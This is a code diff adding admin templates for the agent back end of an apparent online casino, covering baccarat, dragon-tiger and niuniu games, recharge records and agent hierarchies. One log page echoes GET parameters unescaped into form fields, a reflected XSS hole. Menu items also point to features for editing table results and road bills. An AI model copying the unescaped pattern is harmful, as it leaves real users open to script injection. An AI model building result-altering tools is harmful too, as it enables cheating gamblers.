||||
<?php if($user_info['role'] == 0 || $user_info['role'] == 1) : ?>
|
||||
<li class="layui-nav-item" id="configure"><a href="javascript:;">游戏配置</a></li>
|
||||
<?php endif; ?>
|
||||
</ul>
|
||||
<ul class="layui-nav right">
|
||||
<li class="layui-nav-item"><a href="javascript:;">{$admin}</a><dl class="layui-nav-child"><dd><a href="/login/logout">退出登录</a></dd></dl></li>
|
||||
<li class="layui-nav-item to-index"><a href="/">后台首页</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<!-- 顶部结束 -->
|
||||
<!-- 中部开始 -->
|
||||
<!-- 左侧菜单开始 -->
|
||||
<div class="left-nav">
|
||||
<div id="side-nav">
|
||||
<ul id="nav">
|
||||
<div id="mypanel_list">
|
||||
<li class="open">
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">个人信息</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu" style="display:block;">
|
||||
<li class="actived" id="info_index"><a _href="/info/index"><i class="iconfont"></i><cite>个人信息</cite></a></li>
|
||||
<li id='info_pass_edit'><a _href="/info/pass_edit"><i class="iconfont"></i><cite>修改密码</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
</div>
|
||||
<?php if($user_info['role'] == 0) : ?>
|
||||
<!-- admin -->
|
||||
<div id="operate_list" style="display: none;">
|
||||
<li class="open">
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">代理管理</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu" style="display:block;">
|
||||
<li class="actived"><a _href="/agent/index"><i class="iconfont"></i><cite>代理管理</cite></a></li>
|
||||
<li><a _href="/agent/scores"><i class="iconfont"></i><cite>上下分查询</cite></a></li>
|
||||
<li><a _href="/report/user_recharge"><i class="iconfont"></i><cite>充值提现查询</cite></a></li>
|
||||
<li><a _href="/xima/xima_check"><i class="iconfont"></i><cite>洗码查询</cite></a></li>
|
||||
<li><a _href="/cs/cs_check"><i class="iconfont"></i><cite>占股查询</cite></a></li>
|
||||
<li><a _href="/agent/profit"><i class="iconfont"></i><cite>收益查询</cite></a></li>
|
||||
<li><a _href="/log/index"><i class="iconfont"></i><cite>操作日志</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">系统管理</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu">
|
||||
<li><a _href="/memo/memo"><i class="iconfont"></i><cite>公告管理</cite></a></li>
|
||||
<li><a _href="/log/scan_admin"><i class="iconfont"></i><cite>扫描用户管理</cite></a></li>
|
||||
<li><a _href="/log/api_admin"><i class="iconfont"></i><cite>接口用户管理</cite></a></li>
|
||||
<li><a _href="/log/admin"><i class="iconfont"></i><cite>代理操作日志</cite></a></li>
|
||||
<li><a _href="/log/user_login"><i class="iconfont"></i><cite>用户登录日志</cite></a></li>
|
||||
<li><a _href="/admin/admin_print"><i class="iconfont"></i><cite>后台用户列表</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">游戏管理</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu">
|
||||
<li><a _href="/table/edit_numberTab"><i class="iconfont"></i><cite>牌桌结果修改记录</cite></a></li>
|
||||
<!-- <li><a _href="/table/baccarat"><i class="iconfont"></i><cite>百家乐桌子账目</cite></a></li>-->
|
||||
<!-- <li><a _href="/table/dt"><i class="iconfont"></i><cite>龙虎斗桌子账目</cite></a></li>-->
|
||||
<!-- <li><a _href="/table/nn"><i class="iconfont"></i><cite>牛牛桌子账目</cite></a></li>-->
|
||||
<!-- <li><a _href="/player/baccarat_record"><i class="iconfont"></i><cite>百家乐游戏记录管理</cite></a></li>-->
|
||||
<!-- <li><a _href="/player/dt_record"><i class="iconfont"></i><cite>龙虎斗游戏记录管理</cite></a></li>-->
|
||||
<!-- <li><a _href="/player/nn_record"><i class="iconfont"></i><cite>牛牛游戏记录管理</cite></a></li>-->
|
||||
<!-- <li><a _href="/waybill/baccarat"><i class="iconfont"></i><cite>百家乐路单修改</cite></a></li>-->
|
||||
<!-- <li><a _href="/waybill/dt"><i class="iconfont"></i><cite>龙虎斗路单修改</cite></a></li>-->
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">充值管理</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu">
|
||||
<li><a _href="/Recharge/index"><i class="iconfont"></i><cite>收款信息列表</cite></a></li>
|
||||
<li><a _href="/Recharge/recharge_record"><i class="iconfont"></i><cite>充值提现记录</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">网投管理</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu">
|
||||
<li><a _href="/Tip/index"><i class="iconfont"></i><cite>打赏信息列表</cite></a></li>
|
||||
<li><a _href="/Tip/optimum"><i class="iconfont"></i><cite>今日最佳记录</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
</div>
|
||||
<div id="configure_list" style="display: none;">
|
||||
<li class="open">
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">游戏配置</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu" style="display:block;">
|
||||
<li><a _href="/game/index"><i class="iconfont"></i><cite>吧台配置</cite></a></li>
|
||||
<li><a _href="/recharge/setting"><i class="iconfont"></i><cite>充值提现配置</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
</div>
|
||||
<?php elseif($user_info['role'] == 1) : ?>
|
||||
<!-- jiankong -->
|
||||
<div id="operate_list" style="display: none;">
|
||||
<li class="open">
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">代理管理</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu" style="display:block;">
|
||||
<li><a _href="/player/user_online"><i class="iconfont"></i><cite>在线玩家</cite></a></li>
|
||||
<li><a _href="/log/index"><i class="iconfont"></i><cite>操作日志</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">系统管理</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu">
|
||||
<li><a _href="/memo/memo"><i class="iconfont"></i><cite>公告管理</cite></a></li>
|
||||
<li><a _href="/memo/activity"><i class="iconfont"></i><cite>活动管理</cite></a></li>
|
||||
<li><a _href="/log/scan_admin"><i class="iconfont"></i><cite>扫描用户管理</cite></a></li>
|
||||
<li><a _href="/log/admin"><i class="iconfont"></i><cite>代理操作日志</cite></a></li>
|
||||
<li><a _href="/log/user_login"><i class="iconfont"></i><cite>用户登录日志</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">游戏管理</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu">
|
||||
<li><a _href="/player/baccarat_record"><i class="iconfont"></i><cite>百家乐游戏记录管理</cite></a></li>
|
||||
<li><a _href="/player/dt_record"><i class="iconfont"></i><cite>龙虎斗游戏记录管理</cite></a></li>
|
||||
<li><a _href="/player/nn_record"><i class="iconfont"></i><cite>牛牛游戏记录管理</cite></a></li>
|
||||
<li><a _href="/waybill/baccarat"><i class="iconfont"></i><cite>百家乐路单修改</cite></a></li>
|
||||
<li><a _href="/waybill/dt"><i class="iconfont"></i><cite>龙虎斗路单修改</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
</div>
|
||||
<div id="configure_list" style="display: none;">
|
||||
<li class="open">
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">游戏配置</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu" style="display:block;">
|
||||
<li><a _href="/game/index"><i class="iconfont"></i><cite>吧台配置</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
</div>
|
||||
<?php elseif($user_info['role'] == 2) : ?>
|
||||
<!-- dl -->
|
||||
<div id="operate_list" style="display: none;">
|
||||
<li class="open">
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">代理管理</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu" style="display:block;">
|
||||
<li class="actived"><a _href="/agent/index"><i class="iconfont"></i><cite>代理管理</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
</div>
|
||||
<?php elseif($user_info['role'] == 3) : ?>
|
||||
<!-- sf -->
|
||||
<div id="operate_list" style="display: none;">
|
||||
<li class="open">
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">代理管理</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu" style="display:block;">
|
||||
<li class="actived"><a _href="/agent/index"><i class="iconfont"></i><cite>代理管理</cite></a></li>
|
||||
<li><a _href="/agent/scores"><i class="iconfont"></i><cite>上下分查询</cite></a></li>
|
||||
<li><a _href="/xima/xima_check"><i class="iconfont"></i><cite>洗码查询</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
</div>
|
||||
<?php elseif($user_info['role'] == 4) : ?>
|
||||
<!-- sw -->
|
||||
<div id="operate_list" style="display: none;">
|
||||
<li class="open">
|
||||
<a href="javascript:;">
|
||||
<cite class="main-nav">代理管理</cite>
|
||||
<i class="iconfont nav_right"></i>
|
||||
</a>
|
||||
<ul class="sub-menu" style="display:block;">
|
||||
<li class="actived"><a _href="/agent/index"><i class="iconfont"></i><cite>代理管理</cite></a></li>
|
||||
<li><a _href="/agent/scores"><i class="iconfont"></i><cite>上下分查询</cite></a></li>
|
||||
<li class="actived"><a _href="/xima/index"><i class="iconfont"></i><cite>洗码管理</cite> </a></li>
|
||||
<li><a _href="/xima/xima_check"><i class="iconfont"></i><cite>洗码查询</cite></a></li>
|
||||
<li class="actived"><a _href="/cs/index"><i class="iconfont"></i><cite>占股管理</cite></a></li>
|
||||
<li><a _href="/cs/cs_check"><i class="iconfont"></i><cite>占股查询</cite></a></li>
|
||||
<li><a _href="/report/profit"><i class="iconfont"></i><cite>收益报表</cite></a></li>
|
||||
</ul>
|
||||
</li>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<!-- <div class="x-slide_left"></div> -->
|
||||
<!-- 左侧菜单结束 -->
|
||||
<!-- 隐藏参数 -->
|
||||
<input type="hidden" id="agent-add-label" value="/agent/agent_add">
|
||||
<!-- 右侧主体开始 -->
|
||||
<div class="page-content">
|
||||
<div class="layui-tab tab" lay-filter="xbs_tab" lay-allowclose="false">
|
||||
<ul class="layui-tab-title">
|
||||
<li>个人信息</li>
|
||||
</ul>
|
||||
<div class="layui-tab-content">
|
||||
<div class="layui-tab-item layui-show">
|
||||
<iframe src='/info/index' frameborder="0" scrolling="yes" class="x-iframe" id="x-iframe"></iframe>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="page-content-bg"></div>
|
||||
<!-- 右侧主体结束 -->
|
||||
<!-- 中部结束 -->
|
||||
<!-- 底部开始 -->
|
||||
<div class="footer"></div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function check_cashout(){
|
||||
var query = new Object();
|
||||
$.ajax({
|
||||
url:"/index/check_cashout",
|
||||
type:"POST",
|
||||
dataType:"JSON",
|
||||
data:query,
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
var tk_notice = document.getElementById('tk_notice');
|
||||
tk_notice.play();
|
||||
}else{
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
$(function (){
|
||||
setInterval(()=>{
|
||||
check_cashout();
|
||||
},60000);
|
||||
})
|
||||
// 我的面板
|
||||
$('#mypanel').click(function(){
|
||||
// 展开侧边栏盒子
|
||||
$('#mypanel_list').show().siblings().hide();
|
||||
// 默认展开盒子内第一个大类
|
||||
$('#mypanel_list').find('.sub-menu').hide().eq(0).show();
|
||||
$('#mypanel_list').find('.nav_right').html('').eq(0).html('');
|
||||
// 左边导航栏默认第一个高亮显示
|
||||
$('#mypanel_list').find('.sub-menu').find('li').removeClass('actived').eq(0).addClass('actived');
|
||||
});
|
||||
// 运营管理
|
||||
$('#operate').click(function(){
|
||||
// 展开侧边栏盒子
|
||||
$('#operate_list').show().siblings().hide();
|
||||
// 默认展开盒子内第一个大类
|
||||
$('#operate_list').find('.sub-menu').hide().eq(0).show();
|
||||
$('#operate_list').find('.nav_right').html('').eq(0).html('');
|
||||
// 左边导航栏默认第一个高亮显示
|
||||
$('#operate_list').find('.sub-menu').find('li').removeClass('actived').eq(0).addClass('actived');
|
||||
|
||||
});
|
||||
// 游戏配置
|
||||
$('#configure').click(function(){
|
||||
// 展开侧边栏盒子
|
||||
$('#configure_list').show().siblings().hide();
|
||||
// 默认展开盒子内第一个大类
|
||||
$('#configure_list').find('.sub-menu').hide().eq(0).show();
|
||||
$('#configure_list').find('.nav_right').html('').eq(0).html('');
|
||||
// 左边导航栏默认第一个高亮显示
|
||||
$('#configure_list').find('.sub-menu').find('li').removeClass('actived').eq(0).addClass('actived');
|
||||
});
|
||||
// 系统设置
|
||||
$('#install').click(function(){
|
||||
// 展开侧边栏盒子
|
||||
$('#install_list').show().siblings().hide();
|
||||
// 默认展开盒子内第一个大类
|
||||
$('#install_list').find('.sub-menu').hide().eq(0).show();
|
||||
$('#install_list').find('.nav_right').html('').eq(0).html('');
|
||||
// 左边导航栏默认第一个高亮显示
|
||||
$('#install_list').find('.sub-menu').find('li').removeClass('actived').eq(0).addClass('actived');
|
||||
});
|
||||
|
||||
// 点击后左侧导航栏高亮显示
|
||||
$('.sub-menu li').click(function(){
|
||||
$('.sub-menu li').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
});
|
||||
|
||||
// 点击顶部导航栏显示页面
|
||||
$('.container li').click(function(){
|
||||
var id = $(this).attr('id');
|
||||
$('#'+id+'_list').find('.sub-menu').find('li').eq(0).trigger('click');
|
||||
});
|
||||
|
||||
// iframe页面触发父页面的跳转
|
||||
$('#agent-add-label').click(function(){
|
||||
alert(1111)
|
||||
var url = $(this).val();
|
||||
console.log($('.x-frame'))
|
||||
$('#x-iframe').location.href = url;
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,57 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>后台管理系统</title>
|
||||
<meta name="renderer" content="webkit">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
<meta name="viewport" content="width=device-width,user-scalable=yes, minimum-scale=0.4, initial-scale=0.8,target-densitydpi=low-dpi" />
|
||||
<link rel="stylesheet" href="/static/agent/css/font.css">
|
||||
<link rel="stylesheet" href="/static/agent/css/xadmin.css">
|
||||
<script type="text/javascript" src="/static/agent/js/jquery.min.js"></script>
|
||||
<script type="text/javascript" src="/static/agent/lib/layui/layui.js" charset="utf-8"></script>
|
||||
<script type="text/javascript" src="/static/agent/js/xadmin.js"></script>
|
||||
|
||||
<!-- 让IE8/9支持媒体查询,从而兼容栅格 -->
|
||||
<!--[if lt IE 9]>
|
||||
<script src="https://cdn.staticfile.org/html5shiv/r29/html5.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/respond.js/1.4.2/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
<style>
|
||||
.x-body{padding-top:20px;width:96%;margin:10px 2%;}
|
||||
.iconfont{color:#5FB878;position:relative;top:-25px;left:-10px;}
|
||||
.username{position:relative;top:-50px;left:20px;}
|
||||
.line-ul{padding-top:20px;}
|
||||
.line-li{border-left:1px solid #ccc;margin-top:18px;}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<fieldset class="layui-elem-field">
|
||||
<legend>关系结构</legend>
|
||||
<div class="layui-field-box">
|
||||
<table class="layui-table">
|
||||
<tbody>
|
||||
<ul class="line-ul">
|
||||
{foreach name="$relation" item="vo"}
|
||||
<li class="line-li">
|
||||
<i class="icon iconfont">O</i>
|
||||
<div class="username">
|
||||
<b>{$vo.username}</b>
|
||||
<span>({$vo.nickname})</span>
|
||||
<span style="color:{$vo.color}">({$vo.agent})</span>
|
||||
<div>创建日期:{$vo.reg_time}</div>
|
||||
</div>
|
||||
</li>
|
||||
{/foreach}
|
||||
</ul>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</fieldset>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,85 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<style type="text/css"> textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; } .change_box a{font-size: 14px;padding: 10.5px 10px;} .change_box .person_info{border-right:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; } .change_box .person_info:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; } .x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; } .control-group{overflow: hidden; margin-bottom: 8px; padding-bottom: 8px; border-bottom: 1px dotted #dddddd; } .control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; } .controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; } .controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; } .controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; } .bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; } .info_submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; } </style>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="person_info">个人信息</a>
|
||||
<a href="javascript:;" class="pass_edit">修改密码</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from" class="form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">上次登录:</label>
|
||||
<div class="controls" style="padding-top: 5px;">
|
||||
<label class="lbl">IP: {$last_login_info['last_login_ip']} 时间:{$last_login_info['last_login_time']}</label>
|
||||
</div>
|
||||
</div>
|
||||
<!--
|
||||
<div class="control-group">
|
||||
<label class="control-label">娱乐场名称:</label>
|
||||
<div class="controls">
|
||||
<input id="casino_name" name="casino_name" type="text" value="{$system_info.casino_name}" maxlength="50">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">ws链接:</label>
|
||||
<div class="controls">
|
||||
<input id="ws_url" name="ws_url" type="text" value="{$system_info.ws_url}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">PC大堂视频连接:</label>
|
||||
<div class="controls">
|
||||
<input id="pc_video" name="pc_video" type="text" value="{$system_info.pc_video}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">WAP大堂视频连接:</label>
|
||||
<div class="controls">
|
||||
<input id="wap_video" name="wap_video" type="text" value="{$system_info.wap_video}">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='info_submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
-->
|
||||
</div>
|
||||
</body>
|
||||
<script type="text/javascript">
|
||||
$('.info_submit').click(function(){
|
||||
var casino_name = $('#casino_name').val();
|
||||
var ws_url = $('#ws_url').val();
|
||||
var pc_video = $('#pc_video').val();
|
||||
var wap_video = $('#wap_video').val();
|
||||
if(casino_name == '' || ws_url == '' || pc_video == '' || wap_video ==''){
|
||||
layer.alert('请完整填写资料!');
|
||||
return false;
|
||||
}
|
||||
$.ajax({
|
||||
url:"/info/update_info",
|
||||
type:"POST",
|
||||
dataType:"JSON",
|
||||
data:{casino_name:casino_name,ws_url:ws_url,pc_video:pc_video,wap_video:wap_video},
|
||||
success:function(data){
|
||||
layer.alert(data.code,function(){
|
||||
location.reload();
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
$('.person_info').click(function(){
|
||||
$('#info_index',window.parent.document).trigger('click');
|
||||
});
|
||||
$('.pass_edit').click(function(){
|
||||
$('#info_pass_edit',window.parent.document).trigger('click');
|
||||
});
|
||||
</script>
|
||||
</html>
|
||||
@@ -0,0 +1,100 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<style type="text/css"> textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; } .change_box a{font-size: 14px;padding: 10.5px 10px;} .change_box .pass_edit{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; } .change_box .pass_edit:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; } .x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; } .control-group{overflow: hidden; margin-bottom: 8px; padding-bottom: 8px; border-bottom: 1px dotted #dddddd; } .control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; } .controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; } .controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; } .controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; } .bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; } .pass_submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; } </style>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="person_info">个人信息</a>
|
||||
<a href="javascript:;" class="pass_edit">修改密码</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">旧密码:</label>
|
||||
<div class="controls">
|
||||
<input id="oldPassword" name="oldPassword" type="password" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">新密码:</label>
|
||||
<div class="controls">
|
||||
<input id="newPassword" name="newPassword" type="password" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认新密码:</label>
|
||||
<div class="controls">
|
||||
<input id="confirmNewPassword" name="confirmNewPassword" type="password" value maxlength="50" minlength="3" class="required" equalto="#newPassword"><span class="help-inline">
|
||||
<font color="red">*</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='pass_submit'>保存</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
<script type="text/javascript">
|
||||
$('.pass_submit').click(function(){
|
||||
var oldPassword = $('#oldPassword').val();
|
||||
var newPassword = $('#newPassword').val();
|
||||
var confirmNewPassword = $('#confirmNewPassword').val();
|
||||
if(oldPassword == '' || oldPassword == null){
|
||||
layer.alert('请填写旧密码!');
|
||||
return false;
|
||||
}
|
||||
if(newPassword == '' || newPassword == null){
|
||||
layer.alert('请填写新密码!');
|
||||
return false;
|
||||
}
|
||||
if(newPassword.length < 6 || newPassword.length >20){
|
||||
layer.alert('新密码长度必须是6到20个字符');
|
||||
return false;
|
||||
}
|
||||
if(confirmNewPassword == '' || confirmNewPassword == null){
|
||||
layer.alert('请再次填写新密码!');
|
||||
return false;
|
||||
}
|
||||
if(newPassword != confirmNewPassword){
|
||||
layer.alert('两次输入的密码不一致!');
|
||||
return false;
|
||||
}
|
||||
var id = {$user_info['id']};
|
||||
$.ajax({
|
||||
url:"/info/update_password",
|
||||
type:"POST",
|
||||
dataType:"JSON",
|
||||
data:{id:id,oldPassword:oldPassword,newPassword:newPassword,confirmNewPassword:confirmNewPassword},
|
||||
success:function(data){
|
||||
if(data.status == 1){
|
||||
layer.alert(data.code);
|
||||
}else{
|
||||
layer.alert(data.code);
|
||||
$('#oldPassword').val('');
|
||||
$('#newPassword').val('');
|
||||
$('#confirmNewPassword').val('');
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
$('.person_info').click(function(){
|
||||
$('#info_index',window.parent.document).trigger('click');
|
||||
});
|
||||
$('.pass_edit').click(function(){
|
||||
$('#info_pass_edit',window.parent.document).trigger('click');
|
||||
});
|
||||
</script>
|
||||
</html>
|
||||
@@ -0,0 +1,145 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">操作日志列表</a>
|
||||
<!--<a href="javascript:;" class="list-two" data-id="2">添加代理</a>-->
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/log/admin" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<input type="text" name="username" id="username" placeholder="请输入操作人" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<!-- <span class="layui-btn" id="print">打印</span> -->
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>编号</th>
|
||||
<th>操作人</th>
|
||||
<th>操作类型</th>
|
||||
<th>操作描述</th>
|
||||
<th>操作时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="log_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.space_admin}</td>
|
||||
<td>{$vo.control}</td>
|
||||
<td>{$vo.remake}</td>
|
||||
<td>{$vo.control_time}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$log_list->render()}
|
||||
</div>
|
||||
</body>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/log/admin';
|
||||
// if(id == "2") location.href = '/agent/agent_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
